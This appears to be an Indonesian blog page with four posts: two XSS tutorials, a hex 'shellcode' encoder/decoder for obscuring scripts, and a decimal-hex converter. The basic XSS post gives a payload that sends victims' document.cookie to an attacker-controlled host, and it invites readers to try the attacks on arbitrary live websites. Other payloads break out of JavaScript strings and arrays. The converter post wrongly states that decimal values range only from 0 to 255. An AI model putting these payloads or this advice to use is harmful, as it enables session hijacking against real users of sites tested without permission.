skip to main | skip to sidebar

Monday, 1 July 2019

Kerentanan Kode Javascript - Kasus XSS

0 comments
Sebelumnya sudah dijelaskan tentang Cross Site Scripting ( XSS ). Yang menjadi permasalah adalah bagaimana jika payload yang ada di materi kemarin tidak bekerja tetapi payload ter-reflected ke dalam salah satu script atau function didalam Javascript. Memang ada beberapa website yang masing kurang diperhatikan didalam function atau variable didalam kode Javascript.


Untuk kali ini akan dijelaskan secara singkat saja. Kita perlu tau terlebih dahulu dimana letak payloadnya berada. Didalam variable String, Array, diapit tanda petik tunggal atau diapit tanda petik ganda. Akan kita bahas satupersatu. Hal yang perlu diperhatikan sebenarnya adalah format dari nilai yang menampung payload, perhatikan contoh berikut :

Payload Diapit dengan Petik Tunggal
Permasalahan pertama Payload yang berada di kode javascript diapit oleh petik tunggal.

<script>
     var abc = 'Anda mencari dengan kata kunci {PAYLOAD}';
</script>

Jika menemui permasalahan seperti tersebut kita tidak bisa menggunakan payload yang mengandung HTML. Kita harus langsung menggunakan payload Javascript. Karena diapit petik tunggal kita gunakan payload seperti ini :

Payload : ';alert('Belajar XSS');var z='test

Yang terjadi jika payload ini dimasukan kedalam kode Javascript adalah seperti ini, program Javascript akan termanipulasi. Dan website akan menampilkan dialog message karena fungsi alert().

<script>
     var abc = 'Anda mencari dengan kata kunci ';alert('Belajar XSS');var z='test';
</script>

Payload Diapit dengan Petik Ganda
Permasalah ini sama seperti permasalahan sebelumnya, namun perbedaan hanya di petiknya saja.

<script>
     var abc = "Anda mencari dengan kata kunci {PAYLOAD}";
</script>

 Gunakan peyload seperti berikut :

Payload : ";alert("Belajar XSS");var z="test

Payload Dimasukan Kedalam Array
Permasalahan yang terakhir adalah jika payload dimasukan kedalam sebuah array atau struktur tertentu.

<script>
     var abc = ["Rudi", "Budi", {PAYLOAD}];
</script>

Jika ada permasalahan seperti diatas kita ikuti strukturnya. Kita tahu kalau Array dan String jika memiliki nilai tidak valid maka program akan error. Kita buat payloadnya seperti ini :

Payload : ""];alert("Haha, Easy");var z=[

Jika payload tersebut dimasukan kedalam program tadi akan menjadi seperti ini :

<script>
     var abc = ["Rudi", "Budi", ""];alert("Haha, Easy");var z=[];
</script>

Jika ingin mengetahui lebih luas tentang list payload XSS kalian bisa mencarinya dengan kata kunci "all xss payloads". Mungkin segitu saja, sampai jumpa pada materi berikutnya.

Basic Cross Site Scripting ( XSS )

0 comments
Cross Site Scripting atau yang lebih dikenal dengan XSS adalah jenis serangan yang ditujukan kepada client. Cara kerja XSS adalah dengan memanipulasi tampilan sebuah website melalui kode HTML, CSS, dan Javascript. Penggunaan XSS harus disertai dengan Social Engineering. Seorang hacker harus mampu untuk meyakinkan pengguna agar mengunjungi atau mengeklik sebuah link atau tautan.


XSS dapat digunakan untuk mengambil cookie atau session user, cookie atau session digunakan untuk informasi pengguna saat login kedalam website yang mana akan tersimpan di dalam browser. Untuk menampilkan cookie dari user diperlukan sebuah perintah dari Javascript. Setelah mendapatkan cookie user, hacker bisa memanipulasi cookie yang ada di browsernya dengan cookie yang sudah didapatkan.

Selain untuk mendapatkan cookie, XSS juga bisa digabungkan dengan CSRF atau XSRF yang akan saya bahas pada materi berikutnya. Kelemahan website terhadap XSS biasanya banyak terletak pada kolom pencarian. Dalam hal ini saya tidak akan memberikan target website untuk contoh peretasan. Kalian dapat mencoba berbagai website online yang ada di internet. Untuk mencoba XSS kalian dapat menggunakan 1 akun saja untuk percobaan.

Sebelum itu perlu diketahui XSS terbagi menjadi 2 yaitu Reflected XSS dan Stored XSS.
Reflected XSS adalah keadaan dimana kode XSS diikutkan dengan sebuah url.

Url : https://target-peretasan.com/?p={KODE_XSS}

Kode XSS akan di eksekusi oleh website dan ditampilkan. Sedangkan untuk Stored XSS, kode XSS dimasukan kedalam database. Semisal ketika kita mengisi informasi data diri, kita bisa memasukan kode XSS. Dan ketika user membuka halaman profile kita, user akan ditampilan halaman profile beserta kode XSS yang sudah dimasukan.

Tampilan dari data URL yang ter-reflected ke dalam website. Untuk mencari kata kunci kalian bisa menggunakan inspect element.


Sekarang kita akan langsung menggunakan multiple payload XSS untuk mengecek kerentanan terlebih dahulu. Kita gunakan payload untuk kerentanan pada tag-tag HTML.

Payload : "><img src=x>

Masukan payload kedalam url sehingga urlnya menjadi seperti ini, lalu eksekusi atau enter.

Url : https://target-peretasan.com/?p="><img src=x>

Jika website memiliki kerentanan terhadap XSS, dengan payload di atas website akan menampilkan sebuah gambar dengan tampilan icon rusak karena source atau link gambar tidak valid.


Setelah ada kerentanan, kita bisa memanipulasi tampilan website dengan menggunakan kode HTML dan Javascript. Kalian bisa memanipulasi tampilan sesuka kalian, skill yang diperlukan memahami HTML dan CSS. Untuk sekarang kita akan menambahkan tombol untuk menampilkan cookie user dengan Javascript. Gunakan payload dibawah ini.

Payload : "><img src="x" onclick="alert(document.cookie)">

- alert, digunakan untuk menampilkan kotak dialog yang berisi pesan.
- document.cookie, digunakan untuk menampilkan cookie website yang ada di browser.
- onclick, adalah event dimana jika object di klik akan menjalankan kode javascript.

Contoh cookie yang diambil dari website.


Kalau payload itu tadi hanya menampilkan pada diri sendiri. Kita bisa menggunakan payload lain untuk menangkap cookie website dan disimpan kedalam database website kita sendiri. Contoh payload yang bisa digunakan.

Payload : "><img src="x" onclick="window.location='http://www.website-ku.com/savecookie.php?data='+encodeURIComponent(document.cookie)">

- encodeURIComponent, digunakan untuk mengencode symbol seperti, ? $ + = #.

Untuk penjelasan lebih jelas mengenai perintah seperti encodeURI, alert bisa dipelajari di W3Schools. Jika ada yang masih belum dimengerti silahkan tulis di kolom komentar atau bisa hubungi kontak yang tertera.

Sunday, 30 June 2019

Program Encrypt - Decrypt Script dengan Javascript

0 comments
Pernahkan kalian melihat script Javascript atau program yang lain yang terenkripsi semisalnya \x64\x69\x73\x70\x6C\x61\x79 yang pastinya script tersebut tidak akan bisa dibaca secara langsung kecuali oleh komputer. Script atau kode tadi bisa disebut dengan Shellcode. Shellcode biasanya digunakan untuk membypass keamanan sebuah program dan program tidak akan berjalan sesuai fungsinya melainkan akan berjalan sesuai perintah yang ada di Shellcode.


Shellcode biasanya digunakan pada sebuah template website dan program hacking yang lain. Pada materi sebelumnya sudah dijelaskan tentang cara membuat sebuah konversi dari decimal ke hexadecimal, program itu akan digunakan untuk materi kali ini. Jika belum mencoba atau mengetahui programnya kalian bisa mengunjungi link berikut Program Konversi Dec - Hex.

Sebenarnya shellcode sama seperti text atau String pada umumnya. Karena Shellcode berasal dari character yang di ubah menjadi hexadecimal dan ditambahkan dengan "\x". Sebagai contoh :
- Huruf A jika dikonversi ke desimal memiliki nilai 65 jika dikonversi ke Hexa bernilai 41.
- Jadi Shellcode nya adalah \x41.

Program Encrypt - Decrypt sangatlah sederhana. Pertama kita akan membuat program untuk meng-Encrypt script. Buatlah sebuah file dengan nama latiahanEncDec.html lalu ketikan kode berikut.

<textarea id="source"></textarea>
<textarea id="result"></textarea>

<button onclick="scriptEnc()">Encrypt</button>
<button onclick="scriptDec()">Decrypt</button>

<script>
    // Bilangan Hexadecimal
    var bilHexa = "0123456789ABCDEF";
  
    // Bilangan Hexa digit pertama dan kedua
    var hexaDigit1 = 0, hexaDigit2 = 0;
  
    function hexa2dec(bilangan) {
        // Mengambil nilai dari bilangan hexa
        hexaDigit1 = bilangan.charCodeAt(0) - 55;
        hexaDigit2 = bilangan.charCodeAt(1) - 55;
      
        if(hexaDigit1 <= 2) hexaDigit1 += 7;
        if(hexaDigit2 <= 2) hexaDigit2 += 7;
      
        // Menghitung nilai dari hexa
        var nilaiKonversi = 0;
        nilaiKonversi += hexaDigit1 * 16;
        nilaiKonversi += hexaDigit2;
      
        return nilaiKonversi;
    }
  
    function dec2hexa(bilangan) {
        // Bilangan decimal dibagi dengan 16 dan mengamabil sisa bagi ( Mod - Modulo )
        hexaDigit1 = Math.floor(bilangan / 16);
        hexaDigit2 = bilangan % 16;
      
        // Mengambil bilangan dari nilai hexa
        var nilaiKonversi = "";
        nilaiKonversi += bilHexa.charAt(hexaDigit1);
        nilaiKonversi += bilHexa.charAt(hexaDigit2);
      
        return nilaiKonversi;
    }
  
</script>

- Atribut onclick pada tag button diatas digunakan untuk menjalankan fungsi atau program javascript ketika tombol di klik dengan mouse.

Fungsi diatas adalah fungsi dari program sebelumnya. Diatas tag script adalah kode untuk membuat sebuah tampilan UI di dalam HTML. Kita perlu UI karena Shellcode tidak bisa ditampilkan atau digunakan menjadi sebuah text / String secara langsung. Sekarang kita membuat fungsi untuk mengEncrypt sebuah Script.

function scriptEnc() {
        // Mengambil nilai atau text dari ID "Source" - textarea
        var data = document.getElementById("source").value;
        var hasilEnc = "";
       
        // MengEncrypt setiap Character pada String
        for(var i = 0; i < data.length; i++) {
            hasilEnc += "\\x" + dec2hexa( data.charCodeAt(i) );
        }
       
        // Menyimpan Nilai ke ID "Result" - textarea
        document.getElementById("result").value = hasilEnc;
}

- data.length, length digunakan untuk mengambil jumlah character atau huruf pada String.
- document.getElementById(), untuk mengambil sebuah object yang memiliki ID tertentu, object yang dimaksud adalah tag-tag HTML.

Selanjutnya membuat fungsi untuk menDecrypt script. Tulis kode berikut

function scriptDec() {
        // Mengambil nilai atau text dari ID "Source" - textarea
        var dataShell = document.getElementById("source").value;
        var data = dataShell.split("\\x");
        var hasilDec = "";
       
        // MengDecrypt setiap Shellcode pada String
        for(var i = 1; i < data.length; i++) {
            hasilDec += String.fromCharCode( hexa2dec(data[i]) );
        }
       
        // Menyimpan Nilai ke ID "Result" - textarea
        document.getElementById("result").value = hasilDec;
}

- Fungsi split digunakan untuk memisah sebuah String menjadi array berdasarkan key nya. String.split(key)
- String.fromCharCode() digunakan untuk merubah nilai Decimal menjadi character.

Kode program secara keseluruhan seperti ini

<textarea id="source"></textarea>
<textarea id="result"></textarea>

<button onclick="scriptEnc()">Encrypt</button>
<button onclick="scriptDec()">Decrypt</button>

<script>
    // Membuat variabel untuk di Encrypt
    var text1 = "Saya sedang makan";
   
    // Bilangan Hexadecimal
    var bilHexa = "0123456789ABCDEF";
   
    // Bilangan Hexa digit pertama dan kedua
    var hexaDigit1 = 0, hexaDigit2 = 0;
   
    function hexa2dec(bilangan) {
        // Mengambil nilai dari bilangan hexa
        hexaDigit1 = bilangan.charCodeAt(0) - 55;
        hexaDigit2 = bilangan.charCodeAt(1) - 55;
       
        if(hexaDigit1 <= 2) hexaDigit1 += 7;
        if(hexaDigit2 <= 2) hexaDigit2 += 7;
       
        // Menghitung nilai dari hexa
        var nilaiKonversi = 0;
        nilaiKonversi += hexaDigit1 * 16;
        nilaiKonversi += hexaDigit2;
       
        return nilaiKonversi;
    }
   
    function dec2hexa(bilangan) {
        // Bilangan decimal dibagi dengan 16 dan mengamabil sisa bagi ( Mod - Modulo )
        hexaDigit1 = Math.floor(bilangan / 16);
        hexaDigit2 = bilangan % 16;
       
        // Mengambil bilangan dari nilai hexa
        var nilaiKonversi = "";
        nilaiKonversi += bilHexa.charAt(hexaDigit1);
        nilaiKonversi += bilHexa.charAt(hexaDigit2);
       
        return nilaiKonversi;
    }
   
    function scriptEnc() {
        // Mengambil nilai atau text dari ID "Source" - textarea
        var data = document.getElementById("source").value;
        var hasilEnc = "";
       
        // MengEncrypt setiap Character pada String
        for(var i = 0; i < data.length; i++) {
            hasilEnc += "\\x" + dec2hexa( data.charCodeAt(i) );
        }
       
        // Menyimpan Nilai ke ID "Result" - textarea
        document.getElementById("result").value = hasilEnc;
    }
   
    function scriptDec() {
        // Mengambil nilai atau text dari ID "Source" - textarea
        var dataShell = document.getElementById("source").value;
        var data = dataShell.split("\\x");
        var hasilDec = "";
       
        // MengDecrypt setiap Shellcode pada String
        for(var i = 1; i < data.length; i++) {
            hasilDec += String.fromCharCode( hexa2dec(data[i]) );
        }
       
        // Menyimpan Nilai ke ID "Result" - textarea
        document.getElementById("result").value = hasilDec;
    }
   
</script>

Untuk penjelasan lebih jelas mengenai perintah seperti document.getElementById() dan split() bisa dipelajari di W3Schools. Jika ada yang masih belum dimengerti silahkan tulis di kolom komentar atau bisa hubungi kontak yang tertera.

Program Konversi ( Decimal - Hexadecimal ) dengan Javascript

1 comments
Sebelum membuat sebuah program kita harus tau terlebih dahulu apa itu Decimal dan Hexadecimal. Disini akan dijelaskan secara singkat saja. Untuk selengkapnya kalian bisa cari artikel-artikel lain di internet. Dan mungkin cara yang saya gunakan disini berbeda di artikel lain.


Decimal adalah sebuah bilangan yang menggunakan 10 basis angka diantaranya 0, 1, 2, 3, 4, 5, 6, 7, 8 dan 9. Penulisannya sama seperti penulisan angka pada umumnya. Rentang nilai dari bilangan decimal adalah 0 - 255.

Sedangakan Hexadecimal adalah bilangan yang menggunakan basis 16. Untuk bilangan hexadecimal menggunakan angka dan huruf yang diantaranya 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E dan F. Bilangan A sampai F juga memiliki nilai, A(10), B(11), C(12), D(13), E(14), F(15). Penulisan hexadesimal menggunakan dua digit bilangan contohnya A1, 0D. Rentang nilai dari hexadecimal adalah 00 - FF. Nilai jika di konversi ke decimal adalah 00 = 0 dan FF = 255.

Konversi dari Decimal ke Hexadecimal
- Kita ambil nilai bilangan decimal semisal 12.
- Kita tau bahwa 12 tidak lebih dari 15.
--- ( 15 adalah nilai maxsimal yang dimiliki bilangan hexadecimal yaitu F ).
- Jika nilai tidak lebih dari 15 maka kita tulis digit pertama dengan 0.
- Lalu untuk digit kedua dengan C karena nilai 12 dalah hexa adalah C.
- Hasil dari konversinya adalah 0C.

- Sekarang kita ganti nilai bilangan decimalnya dengan 74.
- Nilai 74 yang pasti lebih dari 15. Maka kita bagi dengan 16. Karena digit pertama dari hexadecimal bernilai 16 x nilai bilangan. Semisal 2A, angka 2 bernilai 32 ( 2 x 16 ) dan huruf A bernilai 10.
- Hasil dari 74 / 16 adalah 4.625.
- Kita ambil nilai 4 saja dan memiliki sisa bagi 10.
--- Karena 4 x 16 = 64.
--- 74 - 64 adalah 10, karena 10 tidak bisa dibagi dengan 16 ( pembagi ) maka 10 menjadi sisa bagi.
- Hasil bagi tadi (4) untuk bilangan hexadecimal digit pertama dan sisa bagi (10) untuk digit kedua.
- Hasil dari konversinya adalah 4A.

Untuk lebih memahami, silahkan perhatikan penjelasan di atas sambil praktik di kertas atau komputer masing-masing.

Konversi Hexadecimal ke Decimal
Untuk konversi ini lebih mudah. Karena cukup dengan mengalikan bilangan bilangan pertama dengan 16 dan dijumlahkan nilai dari bilangan kedua.
- Kita ambil nilai FD ( bukan Flashdisk :D ).
- Kalikan F dengan 16 dan jumlahkan dengan nilai D(13).
- F(15) x 16 = 240.
- 240 + D(13) = 253.
- Hasil konversinya adalah 253.

- Contoh lain 0F.
- Kalikan 0 dengan 16 dan jumlahkan dengan F(15).
- 0 x 16 = 0.
- 0 + F(15) = 15.
- Hasil konversinya adalah 15.

Program Konversi dengan Javascript
Pertama siapkan aplikasi texteditor, kalian bisa memakai notepad, SublimText atau yang lainnya. Buat sebuah file baru dan berinama semisal latihanKonversi.html. Lalu buatlah code tag script seperi dibawah ini. Tag ini adalah tag HTML yang digunakan untuk menuliskan kode Javascript.

<script>
   
</script>

Persiapkan variable yang dibutuhkan. Tulis code dibawah ini didalam tag. Tanda "//" adalah sebuah komentar yang tidak akan dimunculkan saat program berjalan.

<script>
    // Bilangan Hexadecimal
    var bilHexa = "0123456789ABCDEF";
   
    // Bilangan Hexa digit pertama dan kedua
    var hexaDigit1 = 0, hexaDigit2 = 0;
   
</script>

Kita akan membuat konversi dari Hexadecimal ke Decimal terlebih dahulu. Buat fungsi dan perintah untuk mengambil nilai dari bilangan hexa.

function hexa2dec(bilangan) {
        // Mengambil nilai dari bilangan hexa
        hexaDigit1 = bilangan.charCodeAt(0) - 55;
        hexaDigit2 = bilangan.charCodeAt(1) - 55;
      
        if(hexaDigit1 <= 2) hexaDigit1 += 7;
        if(hexaDigit2 <= 2) hexaDigit2 += 7;
}

- Hexa2dec adalah nama dari sebuah fungsi. Cara memanggil fungsi yaitu dengan menuliskan nama dan parameternya. Contoh hexa2dec(parameter1, parameter2, ...).
- Bilangan adalah variabel yang diikutsertakan kedalam fungsi yang biasa disebut dengan parameter.
- Perintah .codeCharAt(index) adalah perintah untuk mengambil nilai dari sebuah character di dalam sebuah String / Text.
--- Semisal character "A" bernilai 65 dan character "8" bernilai 56.
--- Index yang dimaksud adalah pada urutan keberapa sebuah character diambil. Semisal ada String dengan nilai "Nasi". Jika ingin mengambil huruf "s" maka huruf tersebut berada pada index ke 2. Index selalu di awali dengan 0. Huruf "N" berada pada index ke 0.
- Nilai Dari Character dikurangi dengan 55 karena "A" bernilai 65 sedangkan didalam bilangan Hexa bernilai 10 jadi kita kurangai dengan 55.
- Decision (IF), digunakan jika character yang diambil antara "0 - 9". Character "0" bernilai 48, jika dikurangi dengan 55 akan bernilai -7 sedangkan di dalam Hexa bernilai 0 maka kita tambahkan dengan 7.

Tambahkan code untuk menghitung nilai dari bilangan tadi.

var nilaiKonversi = 0;
nilaiKonversi += hexaDigit1 * 16;
nilaiKonversi += hexaDigit2;

return nilaiKonversi;

- variable nilaiKonversi memiliki nilai.
--- nilaiKonversi = (bilangan hexa digit ke1 x 16 ) + (bilangan hexa digit ke 2)
- return adalah nilai kembalian, atau nilai sebuah fungsi ketika dijalankan.

Kode dari fungsi tersebut secara keseluruhan seperti ini.

function hexa2dec(bilangan) {
        // Mengambil nilai dari bilangan hexa
        hexaDigit1 = bilangan.charCodeAt(0) - 55;
        hexaDigit2 = bilangan.charCodeAt(1) - 55;
       
        if(hexaDigit1 <= 2) hexaDigit1 += 7;
        if(hexaDigit2 <= 2) hexaDigit2 += 7;
       
        // Menghitung nilai dari hexa
        var nilaiKonversi = 0;
        nilaiKonversi += hexaDigit1 * 16;
        nilaiKonversi += hexaDigit2;
       
        return nilaiKonversi;
}

Penggunaan fungsi tersebut seperti ini, tambahkan perintah setelah fungsi hexa2dec.

var testHexa = "A2";
var hasilHexa = hexa2dec(testHexa);
document.write(hasilHexa);

- document.write(String), digunakan untuk menampilkan tulisan.

Buka file latihanKonversi.html dengan browser kalian.

Selanjutnya membuat fungsi untuk mengkonversi dari Decimal ke Hexadecimal. Buat fungsi dengan nama dec2hexa tulis code berikut.

function dec2hexa(bilangan) {
        // Bilangan decimal dibagi dengan 16 dan mengamabil sisa bagi ( Mod - Modulo )
        hexaDigit1 = Math.floor(bilangan / 16);
        hexaDigit2 = bilangan % 16;
       
        // Mengambil bilangan dari nilai hexa
        var nilaiKonversi = "";
        nilaiKonversi += bilHexa.charAt(hexaDigit1);
        nilaiKonversi += bilHexa.charAt(hexaDigit2);
       
        return nilaiKonversi;
}

- Symbol % adalah Mod atau Modulo atau Sisa bagi.
- Math.floor() adalah sebuah fungsi matematika yang digunakan untuk pembulatan ke bawah. Semisal 1.955 maka akan menjadi 1 bukan 2.

Kode program secara keseluruhan seperti ini

<script>
    // Bilangan Hexadecimal
    var bilHexa = "0123456789ABCDEF";
   
    // Bilangan Hexa digit pertama dan kedua
    var hexaDigit1 = 0, hexaDigit2 = 0;
   
    function hexa2dec(bilangan) {
        // Mengambil nilai dari bilangan hexa
        hexaDigit1 = bilangan.charCodeAt(0) - 55;
        hexaDigit2 = bilangan.charCodeAt(1) - 55;
       
        if(hexaDigit1 <= 2) hexaDigit1 += 7;
        if(hexaDigit2 <= 2) hexaDigit2 += 7;
       
        // Menghitung nilai dari hexa
        var nilaiKonversi = 0;
        nilaiKonversi += hexaDigit1 * 16;
        nilaiKonversi += hexaDigit2;
       
        return nilaiKonversi;
    }
   
    function dec2hexa(bilangan) {
        // Bilangan decimal dibagi dengan 16 dan mengamabil sisa bagi ( Mod - Modulo )
        hexaDigit1 = Math.floor(bilangan / 16);
        hexaDigit2 = bilangan % 16;
       
        // Mengambil bilangan dari nilai hexa
        var nilaiKonversi = "";
        nilaiKonversi += bilHexa.charAt(hexaDigit1);
        nilaiKonversi += bilHexa.charAt(hexaDigit2);
       
        return nilaiKonversi;
    }
   
    var testDec = 31;
    var hasilDec = dec2hexa(testDec);
    document.write(testDec + " Dec = " + hasilDec + " Hexa<br>");
   
    var testHexa = "A2";
    var hasilHexa = hexa2dec(testHexa);
    document.write(testHexa + " Hexa = " + hasilHexa + " Dec<br>");
</script>

Untuk penjelasan lebih jelas mengenai perintah seperti charAt(), document.write() bisa dipelajari di W3Schools. Jika ada yang masih belum dimengerti silahkan tulis di kolom komentar atau bisa hubungi kontak yang tertera.